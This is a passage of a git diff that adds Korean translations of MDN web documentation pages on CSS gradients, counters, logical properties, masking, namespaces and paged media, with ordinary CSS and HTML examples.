+      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
+        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
+        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
+        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
+        rgba(255, 0, 0, 0.5) 230px),
+      repeating-linear-gradient(23deg, red 50px, orange 100px,
+        yellow 150px, green 200px, blue 250px,
+        indigo 300px, violet 350px, red 370px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Multiple_repeating_linear_gradients', 600, 400) }}</p>
+</div>
+
+<h3 id="Plaid_gradient">Plaid gradient</h3>
+
+<p>To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="plaid-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+
+  background:
+      repeating-linear-gradient(90deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(0deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(-45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px),
+      repeating-linear-gradient(45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}</p>
+
+<h3 id="Repeating_radial_gradients">Repeating radial gradients</h3>
+
+<p>This example uses {{cssxref("repeating-radial-gradient")}} to create a gradient that radiates repeatedly from a central point. The colors get cycled over and over as the gradient repeats.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="repeating-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.repeating-radial {
+  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Repeating_radial_gradients', 120, 120) }}</p>
+
+<h3 id="Multiple_repeating_radial_gradients">Multiple repeating radial gradients</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="multi-target"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 250px;
+  height: 150px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.multi-target {
+  background:
+      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
+        rgba(255,255,255,0.5) 30px) top left no-repeat,
+      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
+        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
+  background-size: 200px 200px, 150px 150px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Multiple_repeating_radial_gradients', 250, 150) }}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Gradient functions: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}}</li>
+ <li>Gradient-related CSS data types: {{cssxref("&lt;gradient&gt;")}}, {{cssxref("&lt;image&gt;")}}</li>
+ <li>Gradient-related CSS properties: {{cssxref("background")}}, {{cssxref("background-image")}}</li>
+ <li><a class="external" href="http://lea.verou.me/css3patterns/">CSS Gradients Patterns Gallery, by Lea Verou</a></li>
+ <li><a class="external" href="http://standardista.com/cssgradients">CSS3 Gradients Library, by Estelle Weyl</a></li>
+ <li><a href="https://cssgenerator.org/gradient-css-generator.html">Gradient CSS Generator</a></li>
+</ul>
diff --git a/files/ko/web/css/css_lists_and_counters/index.html b/files/ko/web/css/css_lists_and_counters/index.html
new file mode 100644
index 0000000000..7d3ecd8e4f
--- /dev/null
+++ b/files/ko/web/css/css_lists_and_counters/index.html
@@ -0,0 +1,57 @@
+---
+title: CSS Lists and Counters
+slug: Web/CSS/CSS_Lists_and_Counters
+tags:
+  - CSS
+  - CSS Lists
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Lists_and_Counters
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Lists</strong>는 리스트 배치 방법, 리스트 마커를 스타일 할 수 있는 법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("list-style-image")}}</li>
+ <li>{{cssxref("list-style-type")}}</li>
+ <li>{{cssxref("list-style-position")}}</li>
+ <li>{{cssxref("list-style")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Consistent_List_Indentation">일관된 리스트 들여쓰기</a></dt>
+ <dd>서로 다른 브라우저 사이에 일관된 들여쓰기를 이루는 법을 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Lists')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html b/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html
new file mode 100644
index 0000000000..4557bc725c
--- /dev/null
+++ b/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html
@@ -0,0 +1,148 @@
+---
+title: CSS 카운터 사용하기
+slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters
+tags:
+  - CSS
+  - CSS Counter Styles
+  - Guide
+  - Layout
+  - Reference
+  - Web
+  - 번호
+  - 카운터
+translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS counters</strong>를 사용하면 문서에서의 위치에 따라 콘텐츠의 모양을 조정할 수 있습니다. 예를 들어, counters를 사용해 웹페이지의 제목에 자동으로 번호를 매길 수 있습니다. Counters는 요소가 몇 번이나 사용되었는지 추적하여 CSS 규칙에 따라 증가하며, 본질적으로 변수입니다.</p>
+
+<h2 id="Counters_사용하기">Counters 사용하기</h2>
+
+<h3 id="카운터_값_조작하기">카운터 값 조작하기</h3>
+
+<p>CSS counter를 사용하려면 먼저 {{cssxref("counter-reset")}} 속성(초깃값  <code>0</code>)을 사용하여 초기화 해야합니다. 동일한 속성으로 값을 특정 값으로 바꿀 수도 있습니다. 초기화 된 counter의 값은 {{cssxref("counter-increment")}}에 따라 증가하거나 감소합니다. counter의 이름으로 "none", "inherit", "initial"은 사용불가합니다. 이런 이름을 사용하면 선언은 무시됩니다.</p>
+
+<h3 id="카운터_표시하기">카운터 표시하기</h3>
+
+<p>Counter의 값은 {{cssxref("content")}} 속성에서 {{cssxref("counter()")}}나 {{cssxref("counters()")}} 함수를 사용하여 표시할 수 있습니다.</p>
+
+<p><code>counter()</code> 함수는 'counter(name)'와 'counter(name, style)' 두 가지 형태로 사용할 수 있습니다. 생성된 텍스트는 가상 요소가 속한 범위에 있는 이름(name)의 가장 안쪽 counter의 값입니다. 텍스트는 지정된 서식(기본값은 십진수<code>decimal</code>)으로 뿌려집니다.</p>
+
+<p><code>counters()</code> 함수도 'counters(name, string)'나 'counters(name, string, style)' 두 가지 형태로 사용할 수 있습니다. 생성된 텍스트는 가상 요소가 속한 모든 범위에서 지정된 이름을 가진 counters의 값으로, 바깥 쪽부터 안쪽까지 값이 주어지며 지정된 문자열로 구분됩니다. counters는 지정된 스타일(기본값은 십진수<code>decimal</code>)로 렌더링 됩니다.</p>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p>여기서는 제목 앞에 숫자를 붙여봅니다.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">body {
+  counter-reset: section;                     /* counter 이름을 'section'으로 지정합니다.
+                                                 초깃값은 0입니다. */
+}
+
+h3::before {
+  counter-increment: section;                 /* section의 카운터 값을 1씩 증가시킵니다. */
+  content: counter(section);                  /* section의 카운터 값을 표시합니다. */
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;h3&gt;Introduction&lt;/h3&gt;
+&lt;h3&gt;Body&lt;/h3&gt;
+&lt;h3&gt;Conclusion&lt;/h3&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("Basic_example", "100%", 150)}}</p>
+
+<h2 id="중첩_카운터">중첩 카운터</h2>
+
+<p>CSS 카운터는 자식 요소 안에서 새 인스턴스를 자동으로 만들어주어 목차를 만드는데 유용합니다. {{cssxref("counters()")}} 함수를 사용해 중첩된 다른 레벨의 카운터 사이를 분리하는 글자를 지정할 수 있습니다.</p>
+
+<h3 id="중첩_카운터_예제">중첩 카운터 예제</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">ol {
+  counter-reset: section;                /* ol 요소마다
+                                            이름이 section인
+                                            새 인스턴스를 생성합니다. */
+  list-style-type: none;
+}
+
+li::before {
+  counter-increment: section;            /* 해당 인스턴스 안에서
+                                            section 카운터 값 증가 */
+  content: counters(section, ".") " ";   /* section 카운터 값을
+                                            마침표(.)로 구분해 결합하여
+                                            표시합니다. */
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 1     --&gt;
+  &lt;li&gt;item               &lt;!-- 2     --&gt;
+    &lt;ol&gt;
+      &lt;li&gt;item&lt;/li&gt;      &lt;!-- 2.1   --&gt;
+      &lt;li&gt;item&lt;/li&gt;      &lt;!-- 2.2   --&gt;
+      &lt;li&gt;item           &lt;!-- 2.3   --&gt;
+        &lt;ol&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.1 --&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.2 --&gt;
+        &lt;/ol&gt;
+        &lt;ol&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.4.1 --&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.4.2 --&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.4.3 --&gt;
+        &lt;/ol&gt;
+      &lt;/li&gt;
+      &lt;li&gt;item&lt;/li&gt;      &lt;!-- 2.4   --&gt;
+    &lt;/ol&gt;
+  &lt;/li&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 3     --&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 4     --&gt;
+&lt;/ol&gt;
+&lt;ol&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 1     --&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 2     --&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("Example_of_a_nested_counter", "100%", 350)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}</td>
+   <td>{{Spec2("CSS3 Lists")}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "generate.html#counters", "CSS Counters")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("counter-reset")}}</li>
+ <li>{{cssxref("counter-increment")}}</li>
+ <li>{{cssxref("@counter-style")}}</li>
+</ul>
diff --git a/files/ko/web/css/css_logical_properties/index.html b/files/ko/web/css/css_logical_properties/index.html
new file mode 100644
index 0000000000..e46148c67f
--- /dev/null
+++ b/files/ko/web/css/css_logical_properties/index.html
@@ -0,0 +1,136 @@
+---
+title: CSS Logical Properties and Values
+slug: Web/CSS/CSS_Logical_Properties
+tags:
+  - CSS
+  - CSS Logical Properties
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Logical_Properties
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Logical Properties and Values</strong>는 레이아웃을 제어하는 물리 속성에 논리 맵핑을 정의하는 CSS 모듈입니다.</p>
+
+<h3 id="블록과_인라인">블록과 인라인</h3>
+
+<p>Logical properties and values use the abstract terms <em>block</em> and <em>inline</em> to describe the direction in which they flow. The physical meaning of these terms depends on the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Writing_Modes">writing mode</a>.</p>
+
+<dl>
+ <dt><a id="블록_치수" name="블록_치수">블록 치수</a></dt>
+ <dd>The dimension perpendicular to the flow of text within a line, i.e., the vertical dimension in horizontal writing modes, and the horizontal dimension in vertical writing modes. For standard English text, it is the vertical dimension.</dd>
+ <dt><a id="인라인_치수" name="인라인_치수">인라인 치수</a></dt>
+ <dd>The dimension parallel to the flow of text within a line, i.e., the horizontal dimension in horizontal writing modes, and the vertical dimension in vertical writing modes. For standard English text, it is the horizontal dimension.</dd>
+</dl>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="크기_속성">크기 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inline-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("max-block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("max-inline-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("min-block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("min-inline-size")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="안팎_여백_테두리_속성">안팎 여백, 테두리 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("border-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-color")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} keyword)</span></li>
+ <li>{{CSSxRef("border-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-start-start-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-start-end-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-end-start-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-end-end-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-style")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} keyword)</span></li>
+ <li>{{CSSxRef("border-width")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} keyword)</span></li>
+ <li>{{CSSxRef("margin")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} keyword)</span></li>
+ <li>{{CSSxRef("margin-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} keyword)</span></li>
+ <li>{{CSSxRef("padding-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline-start")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="플로트와_위치_속성">플로트와 위치 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("clear")}} (<code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} and <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}} keywords)</span></li>
+ <li>{{CSSxRef("float")}} (<code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} and <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}} keywords)</span></li>
+ <li>{{CSSxRef("inset")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline-start")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="기타_속성">기타 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("caption-side")}} (<code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} and <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}} keywords)</span></li>
+ <li>{{CSSxRef("resize")}} {{Experimental_Inline}} (<code>block</code> {{Experimental_Inline}} and <span style="white-space: nowrap;"><code>inline</code> {{Experimental_Inline}} keywords)</span></li>
+ <li>{{CSSxRef("text-align")}} (<code>end</code> {{Experimental_Inline}} and <span style="white-space: nowrap;"><code>start</code> {{Experimental_Inline}} keywords)</span></li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_masks/index.html b/files/ko/web/css/css_masks/index.html
new file mode 100644
index 0000000000..5a48e0af6e
--- /dev/null
+++ b/files/ko/web/css/css_masks/index.html
@@ -0,0 +1,68 @@
+---
+title: CSS Masking
+slug: Web/CSS/CSS_Masks
+tags:
+  - CSS
+  - CSS Masking
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Masking
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Masking</strong>은 마스킹 및 클리핑을 포함해 시각 요소의 부분 또는 전체를 숨기기 위한 수단을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("clip")}} {{deprecated_inline}}</li>
+ <li>{{cssxref("clip-path")}}</li>
+ <li>{{cssxref("clip-rule")}}</li>
+ <li>{{cssxref("mask")}}</li>
+ <li>{{cssxref("mask-border")}}</li>
+ <li>{{cssxref("mask-border-mode")}}</li>
+ <li>{{cssxref("mask-border-outset")}}</li>
+ <li>{{cssxref("mask-border-repeat")}}</li>
+ <li>{{cssxref("mask-border-slice")}}</li>
+ <li>{{cssxref("mask-border-source")}}</li>
+ <li>{{cssxref("mask-border-width")}}</li>
+ <li>{{cssxref("mask-clip")}}</li>
+ <li>{{cssxref("mask-composite")}}</li>
+ <li>{{cssxref("mask-image")}}</li>
+ <li>{{cssxref("mask-mode")}}</li>
+ <li>{{cssxref("mask-origin")}}</li>
+ <li>{{cssxref("mask-position")}}</li>
+ <li>{{cssxref("mask-repeat")}}</li>
+ <li>{{cssxref("mask-size")}}</li>
+ <li>{{cssxref("mask-type")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ko/web/css/css_miscellaneous/index.html b/files/ko/web/css/css_miscellaneous/index.html
new file mode 100644
index 0000000000..fbd9a1fbc9
--- /dev/null
+++ b/files/ko/web/css/css_miscellaneous/index.html
@@ -0,0 +1,43 @@
+---
+title: CSS Miscellaneous
+slug: Web/CSS/CSS_Miscellaneous
+tags:
+  - CSS
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Miscellaneous
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">이 페이지는 한참 실험 중이거나 다른 어떤 부류와도 맞지 않은 CSS 속성을 포함합니다.</span></p>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("all")}}</li>
+ <li>{{cssxref("clip")}}</li>
+ <li>{{cssxref("clip-path")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("ime-mode")}}</li>
+ <li>{{cssxref("initial-letter")}}</li>
+ <li>{{cssxref("initial-letter-align")}}</li>
+ <li>{{cssxref("mask-type")}}</li>
+ <li>{{cssxref("text-rendering")}}</li>
+ <li>{{cssxref("will-change")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<p><em>없음.</em></p>
+
+<h2 id="스펙">스펙</h2>
+
+<p><em>이 속성은 서로 거의 관련이 없습니다. 스펙은 개별 페이지를 참조하세요.</em></p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p><em>이 속성은 서로 거의 관련이 없습니다. 브라우저 내 가용성은 개별 페이지를 참조하세요.</em></p>
diff --git a/files/ko/web/css/css_namespaces/index.html b/files/ko/web/css/css_namespaces/index.html
new file mode 100644
index 0000000000..d3082bdb8b
--- /dev/null
+++ b/files/ko/web/css/css_namespaces/index.html
@@ -0,0 +1,42 @@
+---
+title: CSS Namespaces
+slug: Web/CSS/CSS_Namespaces
+tags:
+  - CSS
+  - CSS Namespaces
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Namespaces
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Namespaces</strong>는 CSS에서 <a href="/ko/docs/Namespaces">XML 네임스페이스</a>를 지정할 수 있는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@namespace")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Namespaces")}}</td>
+   <td>{{Spec2("CSS3 Namespaces")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_pages/index.html b/files/ko/web/css/css_pages/index.html
new file mode 100644
index 0000000000..72f7f39dd3
--- /dev/null
+++ b/files/ko/web/css/css_pages/index.html
@@ -0,0 +1,73 @@
+---
+title: CSS Paged Media
+slug: Web/CSS/CSS_Pages
+tags:
+  - CSS
+  - CSS Paged Media
+  - CSS Reference
+  - Overview
+translation_of: Web/CSS/CSS_Pages
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Paged Media</strong>는 페이지 전환을 처리하는 방법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="CSS_속성">CSS 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("page-break-after")}}</li>
+ <li>{{cssxref("page-break-before")}}</li>
+ <li>{{cssxref("page-break-inside")}}</li>
+</ul>
+</div>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref('@page')}}</li>
+</ul>
+</div>
+
+<h3 id="의사_클래스">의사 클래스</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref(':blank')}}</li>
+ <li>{{cssxref(':first')}}</li>
+ <li>{{cssxref(':left')}}</li>
+ <li>{{cssxref(':right')}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_positioning/index.html b/files/ko/web/css/css_positioning/index.html
new file mode 100644
index 0000000000..bd2a5f4f33
--- /dev/null
+++ b/files/ko/web/css/css_positioning/index.html
@@ -0,0 +1,61 @@
+---
+title: CSS Positioning
+slug: Web/CSS/CSS_Positioning
+tags:
+  - CSS
+  - CSS Positioning
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Positioning
+---
+<div>{{CSSRef}}</div>
+
